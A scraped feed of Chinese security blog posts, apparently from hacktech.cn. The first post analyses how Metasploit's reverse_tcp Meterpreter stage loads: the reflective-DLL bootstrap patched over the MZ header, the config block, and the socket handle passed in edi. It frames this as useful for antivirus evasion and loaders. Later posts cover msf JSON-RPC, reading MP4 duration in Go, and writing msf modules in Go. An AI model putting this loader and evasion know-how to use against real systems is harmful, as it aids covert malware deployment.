== true } asm = asm_invoke_metsrv(asm_opts) # generate the bootstrap asm bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry if bootstrap.length \u0026gt; 62 raise RuntimeError, \u0026#34;Meterpreter loader (x86) generated an oversized bootstrap!\u0026#34; end # patch the bootstrap code into the dll\u0026#39;s DOS header... dll[ 0, bootstrap.length ] = bootstrap dll end 这段代码里面首先取到了metsrv的dll的文件，然后传入 asm_invoke_metsrv 函数做处理，生成汇编字节码，然后替换这个dll的头部\n我们看看 load_rdi_dll 函数，这个函数取到了一个偏移量然后传入 asm_invoke_metsrv 函数做处理了\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def load_rdi_dll(dll_path) dll = \u0026#39;\u0026#39; ::File.open(dll_path, \u0026#39;rb\u0026#39;) { |f| dll = f.read } offset = parse_pe(dll) unless offset raise \u0026#34;Cannot find the ReflectiveLoader entry point in #{dll_path}\u0026#34; end return dll, offset end def parse_pe(dll) pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) offset = nil pe.exports.entries.each do |e| if e.name =~ /^\\S*ReflectiveLoader\\S*/ offset = pe.rva_to_file_offset(e.rva) break end end offset end 甚至我们不用深究这些函数的具体流程，看名称就知道，这个是从dll导出表找到了ReflectiveLoader导出函数的地址\n然后进入 asm_invoke_metsrv 看看\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 def asm_invoke_metsrv(opts={}) asm = %Q^ ; prologue dec ebp ; \u0026#39;M\u0026#39; pop edx ; \u0026#39;Z\u0026#39; call $+5 ; call next instruction pop ebx ; get the current location (+7 bytes) push edx ; restore edx inc ebp ; restore ebp push ebp ; save ebp for later mov ebp, esp ; set up a new stack frame ; Invoke ReflectiveLoader() ; add the offset to ReflectiveLoader() (0x????????) add ebx, #{\u0026#34;0x%.8x\u0026#34; % (opts[:rdi_offset] - 7)} call ebx ; invoke ReflectiveLoader() ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ; offset from ReflectiveLoader() to the end of the DLL add ebx, #{\u0026#34;0x%.8x\u0026#34; % (opts[:length] - opts[:rdi_offset])} ^ unless opts[:stageless] || opts[:force_write_handle] == true asm \u0026lt;\u0026lt; %Q^ mov [ebx], edi ; write the current socket/handle to the config ^ end asm \u0026lt;\u0026lt; %Q^ push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) ^ end 不得不说这段十分巧妙，我们想想刚才的流程是什么，排开那个 mov edi, \u0026amp;socket 不论，剩下的就是从传回来的载荷的首地址开始跑了，那假如是一个dll文件，你把一个平常的dll文件，VirtualAlloc后直接跳到地址跑，能跑起来吗？显然是不能的，我们看看msf中的处理\n我们上面的代码分析过，这个汇编最后是替换了dll的头部，pe文件的头部就是dos头，dos头必须是MZ开头，不然这个根本算不上一个pe文件\n那 dec ebp 和 pop edx 算怎么回事？\n其实这两条汇编的机器码就是\n1 2 \\x4D # dec ebp \\x5A # pop edx 恰好构成了MZ头，然后继续往下跑，调用了ReflectiveLoader()，这个是反射dll技术，具体代码技术细节可以见 https://github.com/stephenfewer/ReflectiveDLLInjection\n调用该dll导出函数 ReflectiveLoader 的主要功能就是加载dll自身到内存中，然后返回dllmain的函数地址，返回值是在eax里面\n然后调用 mov [ebx], edi ; write the current socket/handle to the config 把edi也就是上文提到的socket句柄地址存入ebx执行的内存，上面可以看到\n1 2 ; offset from ReflectiveLoader() to the end of the DLL add ebx, #{\u0026#34;0x%.8x\u0026#34; % (opts[:length] - opts[:rdi_offset])} 这段汇编把ebx指向到了该dll加载空间的末尾\n紧接着执行\n1 2 3 4 push ebx ; push the pointer to the configuration start push 4 ; indicate that we have attached push eax ; push some arbitrary value for hInstance call eax ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr) 调用储存在eax中的dllmain的函数\n其中的ebx到底是什么？\n我们把目光再往外层拉\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def stage_payload(opts={}) stage_meterpreter(opts) + generate_config(opts) end def generate_config(opts={}) ds = opts[:datastore] || datastore opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { arch: opts[:uuid].arch, null_session_guid: opts[:null_session_guid] == true, exitfunk: ds[:exit_func] || ds[\u0026#39;EXITFUNC\u0026#39;], expiration: (ds[:expiration] || ds[\u0026#39;SessionExpirationTimeout\u0026#39;]).to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], stageless: opts[:stageless] == true } # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) # return the binary version of it config.to_b end 可以看到 stage_payload 中把生成好的dll字节码和一串config拼接了起来，config里面的参数要分析的话又是一大块了，本文不着眼于此\n跟进 config.to_b 看看\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 def to_b config_block end def config_block # start with the session information config = session_block(@opts) # then load up the transport configurations (@opts[:transports] || []).each do |t| config \u0026lt;\u0026lt; transport_block(t) end # terminate the transports with NULL (wchar) config \u0026lt;\u0026lt; \u0026#34;\\x00\\x00\u0026#34; # configure the extensions - this will have to change when posix comes # into play. file_extension = \u0026#39;x86.dll\u0026#39; file_extension = \u0026#39;x64.dll\u0026#39; unless is_x86? (@opts[:extensions] || []).each do |e| config \u0026lt;\u0026lt; extension_block(e, file_extension) end # terminate the extensions with a 0 size config \u0026lt;\u0026lt; [0].pack(\u0026#39;V\u0026#39;) # wire in the extension init data (@opts[:ext_init] || \u0026#39;\u0026#39;).split(\u0026#39;:\u0026#39;).each do |cfg| name, value = cfg.split(\u0026#39;,\u0026#39;) config \u0026lt;\u0026lt; extension_init_block(name, value) end # terminate the ext init config with a final null byte config \u0026lt;\u0026lt; \u0026#34;\\x00\u0026#34; # and we\u0026#39;re done config end 然后我们跟进 session_block 和 transport_block 看看就能明白这就是一串配置转化为字节码，具体的转化规则我们不论\n可以看到 函数里面有\n1 2 3 4 5 6 7 8 9 session_data = [ 0, # comms socket, patched in by the stager exit_func, # exit function identifer opts[:expiration], # Session expiry uuid, # the UUID session_guid # the Session GUID ] session_data.pack(\u0026#39;QVVA*A*\u0026#39;) 最开始的是0，pack的格式是Q，8位，这8位是干嘛的？\n现在回过头想想，当之前生成好的dll载荷，我们从首地址开始跑，我们刚才那个edi(socket地址)填充到哪了，是不是那个dll空间的末尾再往后填，这个空间不恰好就是这8位0吗？\n所谓的sockedi到底是啥？ 跟踪edi 根据我们前面的分析，我们把加载器挂调试器跑起来看看\n首先分配完RWX内存空间后，我们看到了首地址 0x6A0000，然后我们在内存窗口中转到该地址，那我们重点关注的是dll所在区域的末尾，我们直接把内存地址转到 0x6CAC06（别问我怎么知道的，方法很多，比如多次调试）\n我们首先把内存地址转到这个地方然后往下跑把数据接过来看看\n现在前八位还是空的，但是后面已经有一些数据了，包括一些能看到文字的配置（比如tcp://0.0.0.0:4444）然后继续下跑，进到我们分配出来的函数去看看\n首当其冲的就是我们的 mov edi, \u0026amp;socket，继续往下\n可以看到，和我们预期的一样，复制到了这八位的空间里面，这里可以配合msf源码以及我的注释查看\n分析用作载荷的反射dll 还记得我们前面分析的源码中的metsrv dll文件吗？\n我们可以在 metasploit-payloads 中找到这个项目的源码\n我们直接看看metsrc dllmain函数\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { BOOL bReturnValue = TRUE; switch (dwReason) { case DLL_METASPLOIT_ATTACH: bReturnValue = Init((MetsrvConfig*)lpReserved); break; case DLL_QUERY_HMODULE: if (lpReserved != NULL) *(HMODULE*)lpReserved = hAppInstance; break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; } 刚才调用dllmain我们是使用了 calleax ;call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)\n我们这个 config_ptr 传递的是什么？是 push ebx ; push the pointer to the configuration start，也就是那个首8位塞了我们socket句柄地址的数据的起始地址，然后走 DLL_METASPLOIT_ATTACH 分支，把这个地址中的数据强转为了 MetsrvConfig 结构体\n我们看看 MetsrvConfig 结构体\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 typedef struct _MetsrvConfig { MetsrvSession session; MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports // Extensions will appear after this // After extensions, we get a list of extension initialisers // \u0026lt;name of extension\u0026gt;\\x00\u0026lt;datasize\u0026gt;\u0026lt;data\u0026gt; // \u0026lt;name of extension\u0026gt;\\x00\u0026lt;datasize\u0026gt;\u0026lt;data\u0026gt; // \\x00 } MetsrvConfig; typedef struct _MetsrvSession { union { UINT_PTR handle; BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one). DWORD exit_func; ///! Exit func identifier for when the session ends. int expiry; ///! The total number of seconds to wait before killing off the session. BYTE uuid[UUID_SIZE]; ///! UUID BYTE session_guid[sizeof(GUID)]; ///! Current session GUID } MetsrvSession; typedef struct _MetsrvTransportCommon { CHARTYPE url[URL_SIZE]; ///! Transport url: scheme://host:port/URI int comms_timeout; ///! Number of sessions to wait for a new packet. int retry_total; ///! Total seconds to retry comms for. int retry_wait; ///! Seconds to wait between reconnects. } MetsrvTransportCommon; 这些信息很明显能看到是一些信息，比如uuid，重试次数之类的，这些在payload的生成选项里面都能找到\n那么我们现在差不多明白了，这一块的东西是强转成了这个结构体，包括edi中所存放的socket句柄地址\n好吧，别忘了我们的使命，搞清楚这个edi的作用\n划入这个结构体也就是\n1 2 3 4 5 union { UINT_PTR handle; BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one). 也就是我们找找 comms_handle 用在了哪\n所以进到 Init((MetsrvConfig*)lpReserved) 里面看看\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 DWORD Init(MetsrvConfig* metConfig) { // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value // for use with loading server extensions later. InitAppInstance(); // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it\u0026#39;s actually // a pointer to the metserv configuration, so do a nasty cast and move on. dprintf(\u0026#34;[METSRV] Getting ready to init with config %p\u0026#34;, metConfig); DWORD result = server_setup(metConfig); dprintf(\u0026#34;[METSRV] Exiting with %08x\u0026#34;, metConfig-\u0026gt;session.exit_func); // We also handle exit func directly in metsrv now because the value is added to the // configuration block and we manage to save bytes in the stager/header as well. switch (metConfig-\u0026gt;session.exit_func) { case EXITFUNC_SEH: SetUnhandledExceptionFilter(NULL); break; case EXITFUNC_THREAD: ExitThread(0); break; case EXITFUNC_PROCESS: ExitProcess(0); break; default: break; } return result; } 里面调用了 server_setup 然后吐出了结果，最后返回，跟到外层也就是dllmain的返回值，dllmain返回值作用我不赘述了，然后根据你的生成选项中的 EXITFUNC 来进行退出，退出进程、线程或者SEH异常，这里我们不管，我们看看 server_setup 函数\nserver_setup函数很长，我就不贴整个函数了\n使用了 comms_handle 的我贴一下\n1 2 3 4 5 6 7 8 9 ... dprintf(\u0026#34;[SESSION] Comms handle: %u\u0026#34;, config-\u0026gt;session.comms_handle); ... dprintf(\u0026#34;[DISPATCH] Transport handle is %p\u0026#34;, (LPVOID)config-\u0026gt;session.comms_handle.handle); if (remote-\u0026gt;transport-\u0026gt;set_handle) { remote-\u0026gt;transport-\u0026gt;set_handle(remote-\u0026gt;transport, config-\u0026gt;session.comms_handle.handle); } 根据这些代码我们能够知道是把 Transport handle 设置为了我们之前创建的socket\n继续往后找我们能找到\n然后跟进 transport_set_handle_tcp 可以看到\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 /*! * @brief Get the socket from the transport (if it\u0026#39;s TCP). * @param transport Pointer to the TCP transport containing the socket. * @return The current transport socket FD, if any, or zero. */ static UINT_PTR transport_get_handle_tcp(Transport* transport) { if (transport \u0026amp;\u0026amp; transport-\u0026gt;type == METERPRETER_TRANSPORT_TCP) { return (UINT_PTR)((TcpTransportContext*)transport-\u0026gt;ctx)-\u0026gt;fd; } return 0; } /*! * @brief Set the socket from the transport (if it\u0026#39;s TCP). * @param transport Pointer to the TCP transport containing the socket. * @param handle The current transport socket FD, if any. */ static void transport_set_handle_tcp(Transport* transport, UINT_PTR handle) { if (transport \u0026amp;\u0026amp; transport-\u0026gt;type == METERPRETER_TRANSPORT_TCP) { ((TcpTransportContext*)transport-\u0026gt;ctx)-\u0026gt;fd = (SOCKET)handle; } } 也只是转为了socket句柄，然后给外部再继续通过这个socket去取一些服务器上的东西（后面的我没再跟下去了，我猜测也只有这种可能）\n总结 这次的分析耗时一天，从上午看到讨论免杀，加载器，然后开始分析，说实话，还是收获了不少，比如那个反射dll的改dos头就让我不得不佩服，卧槽，这操作骚。本次只是拿 windows/meterpreter/reverse_tcp 开刀，我相信其他的也一样，不然何以被官方称 sockedi 调用约定，说明这已经是msf里面加载的约定成俗的东西了。\n那么从这次的分析中我们能获得哪些启示？当然是免杀对抗的启示，antiAV方可以通过研究使用自己的payload格式，AV方可以通过这个流程来对msf的payload的查杀更上一步，或者根据里面的改DOS头技术打造自己的模块化RAT\n下一步可以做的 研究payload uuid的回传 研究rc4，aes之类的所谓加密shellcode，加密是在哪里 \u0026hellip; 现在就可以得到的 当然是一个香喷喷的shellcode加载器，具体实现就是八仙过海各显神通了。 改DOS头直接执行的技术 ","permalink":"https://www.hacktech.cn/post/2020/05/what-is-sockedi-call-convention-in-msf/","summary":"\u003cp\u003e本篇文章主要讨论一下msf官方文档中提到的sockedi调用约定到底是指什么?\u003c/p\u003e","title":"metasploit payload运行原理浅析(sockedi调用约定是什么)"},{"content":"msf的rpc有两种调用方式，那么我们应该调用哪一个呢？\n其中restful接口暂且不谈，这个rest api其实是简单对接了一下msf的后端数据库，这个自己也能读数据库来做，这个以后有时间再谈\n首先说下这个json-rpc，json-rpc是metasploit5.0推出的一个功能，采用json作为交互格式，例如\n1 2 akkuman@DESKTOP-MFL946C ~\u0026gt; curl -k -X POST -H \u0026#34;Accept: application/json\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; -H \u0026#34;Authorization: Bearer f622f07405f68533c549bc11838c9f1b6b1f14ba5caae75fb726da071b73f8315aaf3b9b0186fc51\u0026#34; -d \u0026#39;{\u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;core.version\u0026#34;, \u0026#34;id\u0026#34;: 1 }\u0026#39; http://192.168.174.136:8081/api/v1/json-rpc {\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;result\u0026#34;:{\u0026#34;version\u0026#34;:\u0026#34;5.0.87-dev-2dc26db9e1\u0026#34;,\u0026#34;ruby\u0026#34;:\u0026#34;2.6.6 x86_64-linux 2020-03-31\u0026#34;,\u0026#34;api\u0026#34;:\u0026#34;1.0\u0026#34;},\u0026#34;id\u0026#34;:1} 而以前的msf的rpc是采用msgpack作为交互格式，除了没有json方便之外还有什么其他的区别吗？\n答案是没有的\n我们看看源码\nlib/msf/core/rpc/json/dispatcher.rb\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 # Process the JSON-RPC request. # @param source [String] the JSON-RPC request # @return [String] JSON-RPC response that encapsulates the RPC result # if successful; otherwise, a JSON-RPC error response. def process(source) begin request = parse_json_request(source) if request.is_a?(Array) # If the batch rpc call itself fails to be recognized as an valid # JSON or as an Array with at least one value, the response from # the Server MUST be a single Response object. raise InvalidRequest.new if request.empty? # process batch request response = request.map { |r| process_request(r) } # A Response object SHOULD exist for each Request object, except that # there SHOULD NOT be any Response objects for notifications. # Remove nil responses from response array response.compact! else response = process_request(request) end rescue ParseError, InvalidRequest =\u0026gt; e # If there was an error in detecting the id in the Request object # (e.g. Parse error/Invalid Request), then the id member MUST be # Null. Don\u0026#39;t pass request obj when building the error response. response = self.class.create_error_response(e) rescue RpcError =\u0026gt; e # other JSON-RPC errors should include the id from the Request object response = self.class.create_error_response(e, request) rescue =\u0026gt; e response = self.class.create_error_response(ApplicationServerError.new(e), request) end # When a rpc call is made, the Server MUST reply with a Response, except # for in the case of Notifications. The Response is expressed as a single # JSON Object. self.class.to_json(response) end 里面的响应是使用 process_request，往下跟\nlib/msf/core/rpc/json/dispatcher.rb\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 # Validate and execute the JSON-RPC request. # @param request [Hash] the JSON-RPC request # @returns [RpcCommand] an RpcCommand for the specified version # @raise [InvalidParams] ArgumentError occurred during execution. # @raise [ApplicationServerError] General server-error wrapper around an # Msf::RPC::Exception that occurred during execution. # @returns [Hash] JSON-RPC response that encapsulates the RPC result # if successful; otherwise, a JSON-RPC error response. def process_request(request) begin if !validate_rpc_request(request) response = self.class.create_error_response(InvalidRequest.new) return response end # dispatch method execution to command result = @command.execute(request[:method], request[:params]) # A Notification is a Request object without an \u0026#34;id\u0026#34; member. A Request # object that is a Notification signifies the Client\u0026#39;s lack of interest # in the corresponding Response object, and as such no Response object # needs to be returned to the client. The Server MUST NOT reply to a # Notification, including those that are within a batch request. if request.key?(:id) response = self.class.create_success_response(result, request) else response = nil end response rescue ArgumentError raise InvalidParams.new rescue Msf::RPC::Exception =\u0026gt; e raise ApplicationServerError.new(e.message, data: { code: e.code }) end end 可以看到 @command.execute，往下跟我们会发现出现了好几个，往上看能发现\n1 2 3 4 5 # Set the command. # @param command [RpcCommand] the command used by the Dispatcher. def set_command(command) @command = command end 说明 @command 是一个 RpcCommand 类对象，但是出现了好几个这样的类，这里我们可以通过断点或者打印 @command 来判断，关于怎么在msf上下断调试以后有时间再写文章\n我这里是通过打印，发现是 Msf::RPC::JSON::V1_0::RpcCommand 类，定位到这个类的 execute 方法\nlib/msf/core/rpc/json/v1_0/rpc_command.rb\n1 2 3 4 5 6 7 8 9 10 11 # Invokes the method on the receiver object with the specified params, # returning the method\u0026#39;s return value. # @param method [String] the RPC method name # @param params [Array, Hash] parameters for the RPC call # @returns [Object] the method\u0026#39;s return value. def execute(method, params) result = execute_internal(method, params) result = post_process_result(result, method, params) result end 我们先看看 post_process_result\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ... MODULE_EXECUTE_KEY = \u0026#39;module.execute\u0026#39; PAYLOAD_MODULE_TYPE_KEY = \u0026#39;payload\u0026#39; PAYLOAD_KEY = \u0026#39;payload\u0026#39; ... # Perform custom post processing of the execute result data. # @param result [Object] the method\u0026#39;s return value # @param method [String] the RPC method name # @param params [Array, Hash] parameters for the RPC call # @returns [Object] processed method\u0026#39;s return value def post_process_result(result, method, params) # post-process payload module result for JSON output if method == MODULE_EXECUTE_KEY \u0026amp;\u0026amp; params.size \u0026gt;= 2 \u0026amp;\u0026amp; params[0] == PAYLOAD_MODULE_TYPE_KEY \u0026amp;\u0026amp; result.key?(PAYLOAD_KEY) result[PAYLOAD_KEY] = Base64.strict_encode64(result[PAYLOAD_KEY]) end result end 可以看到这个函数的功能大致上就是假如请求的json-rpc是生成可执行文件，就base64再返回，而rpc因为使用的msgpack，所以直接返回的二进制流\n然后我们看看主要的调用函数 execute_internal\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 # Internal method that invokes the method on the receiver object with # the specified params, returning the method\u0026#39;s return value. # @param method [String] the RPC method name # @param params [Array, Hash] parameters for the RPC call # @raise [MethodNotFound] The method does not exist # @raise [Timeout::Error] The method failed to terminate in @execute_timeout seconds # @returns [Object] the method\u0026#39;s return value. def execute_internal(method, params) group, base_method = parse_method_group(method) method_name = \u0026#34;rpc_#{base_method}\u0026#34; method_name_noauth = \u0026#34;rpc_#{base_method}_noauth\u0026#34; handler = (find_handler(@legacy_rpc_service.handlers, group, method_name) || find_handler(@legacy_rpc_service.handlers, group, method_name_noauth)) if handler.nil? raise MethodNotFound.new(method) end if handler.respond_to?(method_name_noauth) method_name = method_name_noauth end ::Timeout.timeout(@execute_timeout) do params = prepare_params(params) if params.nil? return handler.send(method_name) elsif params.is_a?(Array) return handler.send(method_name, *params) else return handler.send(method_name, **params) end end end 可以看到先经过处理之后，调用了 @legacy_rpc_service 得到 handler，而这个 legacy_rpc_service 则又是调用了原始 rpc 了，然后调用 send 方法来调用rpc，所以json-rpc实际上就是在原始rpc上包装了一层，功能上并没有变化\n结论 两者功能相同，用哪个看个人喜好\n","permalink":"https://www.hacktech.cn/post/2020/05/msf-rpc-and-jsonrpc-compare/","summary":"\u003cp\u003emsf的rpc有两种调用方式，那么我们应该调用哪一个呢？\u003c/p\u003e","title":"msf的rpc和json-rpc，我该选择哪个？"},{"content":"主要原理是根据MP4文档格式取到moov结构，然后获取时长\n已上传到github https://github.com/akkuman/mp4info\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 package main import ( \u0026#34;bytes\u0026#34; \u0026#34;encoding/binary\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;io\u0026#34; \u0026#34;os\u0026#34; \u0026#34;path/filepath\u0026#34; ) // BoxHeader 信息头 type BoxHeader struct { Size uint32 FourccType [4]byte Size64 uint64 } func main() { file, err := os.Open(os.Args[1]) if err != nil { panic(err) } duration, err := GetMP4Duration(file) if err != nil { panic(err) } fmt.Println(filepath.Base(os.Args[1]), duration) } // GetMP4Duration 获取视频时长，以秒计 func GetMP4Duration(reader io.ReaderAt) (lengthOfTime uint32, err error) { var info = make([]byte, 0x10) var boxHeader BoxHeader var offset int64 = 0 // 获取moov结构偏移 for { _, err = reader.ReadAt(info, offset) if err != nil { return } boxHeader = getHeaderBoxInfo(info) fourccType := getFourccType(boxHeader) if fourccType == \u0026#34;moov\u0026#34; { break } // 有一部分mp4 mdat尺寸过大需要特殊处理 if fourccType == \u0026#34;mdat\u0026#34; { if boxHeader.Size == 1 { offset += int64(boxHeader.Size64) continue } } offset += int64(boxHeader.Size) } // 获取moov结构开头一部分 moovStartBytes := make([]byte, 0x100) _, err = reader.ReadAt(moovStartBytes, offset) if err != nil { return } // 定义timeScale与Duration偏移 timeScaleOffset := 0x1C durationOffest := 0x20 timeScale := binary.BigEndian.Uint32(moovStartBytes[timeScaleOffset : timeScaleOffset+4]) Duration := binary.BigEndian.Uint32(moovStartBytes[durationOffest : durationOffest+4]) lengthOfTime = Duration / timeScale return } // getHeaderBoxInfo 获取头信息 func getHeaderBoxInfo(data []byte) (boxHeader BoxHeader) { buf := bytes.NewBuffer(data) binary.Read(buf, binary.BigEndian, \u0026amp;boxHeader) return } // getFourccType 获取信息头类型 func getFourccType(boxHeader BoxHeader) (fourccType string) { fourccType = string(boxHeader.FourccType[:]) return } ","permalink":"https://www.hacktech.cn/post/2020/02/get-mp4-duration-in-pure-go/","summary":"\u003cp\u003e主要原理是根据MP4文档格式取到moov结构，然后获取时长\u003c/p\u003e","title":"纯Golang获取MP4视频时长信息"},{"content":"最近有空在看msf，发现msf里面有模块的源码是golang的，去翻了翻wiki，wiki上面的编写日期是2018.12.13，搜了下国内，好像没有这方面的文章，那就自己跟着做做记个笔记\n首先第一步自然是安装go，官方wiki上测试是在1.11.2通过，建议使用 version \u0026gt;= 1.11.2 的go，怎么安装go我不再赘述\n注意事项 模块限制 不过golang目前还只支持以下几个msf模块的编写\nremote_exploit remote_exploit_cmd_stager capture_server docs single_scanner single_host_login_scanner multi_scanner 代码限制 目前并不支持第三方库，但是可以在模块目录的 share/src 文件夹下放置你的库，整体上来说还是比较鸡肋\n模块之间公有的库的路径在 lib/msf/core/modules/external/go/src/metasploit 目录下，可以自行查看\n格式 顶行 首先go源码文件的顶行需要有可执行的标识，需要在文件顶行写上 //usr/bin/env go run \u0026quot;$0\u0026quot; \u0026quot;$@\u0026quot;; exit \u0026quot;$?\u0026quot;\n这个原因主要是因为msf是基于ruby的，执行golang代码的话需要知晓执行路径或环境的信息，所以必须插入这一行\n比如\n1 2 3 4 5 6 7 8 //usr/bin/env go run \u0026#34;$0\u0026#34; \u0026#34;$@\u0026#34;; exit \u0026#34;$?\u0026#34; package main import ( \u0026#34;metasploit/module\u0026#34; \u0026#34;net/http\u0026#34; ) 元数据信息 下面是需要填入一些元数据的信息来初始化你的模块，这一部分和ruby比较类似，主要是为了让msf能够读取、搜索和使用这些信息\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import \u0026#34;metasploit/module\u0026#34; func main() { metadata := \u0026amp;module.Metadata{ Name: \u0026#34;\u0026lt;module name\u0026#34;, Description: \u0026#34;\u0026lt;describe\u0026gt;\u0026#34;, Authors: []string{\u0026#34;\u0026lt;author 1\u0026gt;\u0026#34;, \u0026#34;\u0026lt;author 2\u0026gt;\u0026#34;}, Date: \u0026#34;\u0026lt;date module written\u0026#34;, Type:\u0026#34;\u0026lt;module type\u0026gt;\u0026#34;, Privileged: \u0026lt;true|false\u0026gt;, References: []module.Reference{}, Options: map[string]module.Option{\t\u0026#34;\u0026lt;option 1\u0026#34;: {Type: \u0026#34;\u0026lt;type\u0026gt;\u0026#34;, Description: \u0026#34;\u0026lt;description\u0026gt;\u0026#34;, Required: \u0026lt;true|false\u0026gt;, Default: \u0026#34;\u0026lt;default\u0026gt;\u0026#34;},\t\u0026#34;\u0026lt;option 2\u0026#34;: {Type: \u0026#34;\u0026lt;type\u0026gt;\u0026#34;, Description: \u0026#34;\u0026lt;description\u0026gt;\u0026#34;, Required: \u0026lt;true|false\u0026gt;, Default: \u0026#34;\u0026lt;default\u0026gt;\u0026#34;}, }} module.Init(metadata, \u0026lt;the entry method to your module\u0026gt;) } 可以看到main()方法调用了module.Init，后面的注释我们可以看到是 模块的入口方法\n我们刚才说过模块之间公有的库，我们跟到这里面看看这个 module.Init 的定义\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 /* * RunCallback represents the method to call from the module */ type RunCallback func(params map[string]interface{}) /* * Initializes the module waiting for input from stdin */ func Init(metadata *Metadata, callback RunCallback) { var req Request err := json.NewDecoder(os.Stdin).Decode(\u0026amp;req) if err != nil { log.Fatalf(\u0026#34;could not decode JSON: %v\u0026#34;, err) } switch strings.ToLower(req.Method) { case \u0026#34;describe\u0026#34;: metadata.Capabilities = []string{\u0026#34;run\u0026#34;} res := \u0026amp;MetadataResponse{\u0026#34;2.0\u0026#34;, req.ID, metadata} if err := rpcSend(res); err != nil { log.Fatalf(\u0026#34;error on running %s: %v\u0026#34;, req.Method, err) } case \u0026#34;run\u0026#34;: params, e := parseParams(req.Parameters) if e != nil { log.Fatal(e) } callback(params) res := \u0026amp;RunResponse{\u0026#34;2.0\u0026#34;, req.ID, RunResult{\u0026#34;Module complete\u0026#34;, \u0026#34;\u0026#34;}} if err := rpcSend(res); err != nil { log.Fatalf(\u0026#34;error on running %s: %v\u0026#34;, req.Method, err) } default: log.Fatalf(\u0026#34;method %s not implemented yet\u0026#34;, req.Method) } } 可以看到，入口方法就是一个参数格式为 map[string]interface{} 的回调函数，下面的 Init 也好理解，首先根据你的传入参数， 查看是否是 describe 还是 run 指令，如果是 run 指令就执行回调，逻辑十分简单。\n例子 msf框架的wiki中给了一个完整的示例https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/msmail/exchange_enum.go\n我们直接那这个来分析一下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 //usr/bin/env go run \u0026#34;$0\u0026#34; \u0026#34;$@\u0026#34;; exit \u0026#34;$?\u0026#34; package main import ( \u0026#34;crypto/tls\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;metasploit/module\u0026#34; \u0026#34;msmail\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;strconv\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;sync\u0026#34; ) func main() { metadata := \u0026amp;module.Metadata{ Name: \u0026#34;Exchange email enumeration\u0026#34;, Description: \u0026#34;Error-based user enumeration for Office 365 integrated email addresses\u0026#34;, Authors: []string{\u0026#34;poptart\u0026#34;, \u0026#34;jlarose\u0026#34;, \u0026#34;Vincent Yiu\u0026#34;, \u0026#34;grimhacker\u0026#34;, \u0026#34;Nate Power\u0026#34;, \u0026#34;Nick Powers\u0026#34;, \u0026#34;clee-r7\u0026#34;}, Date: \u0026#34;2018-11-06\u0026#34;, Type: \u0026#34;single_scanner\u0026#34;, Privileged: false, References: []module.Reference{}, Options: map[string]module.Option{ \u0026#34;RHOSTS\u0026#34;: {Type: \u0026#34;string\u0026#34;, Description: \u0026#34;Target endpoint\u0026#34;, Required: true, Default: 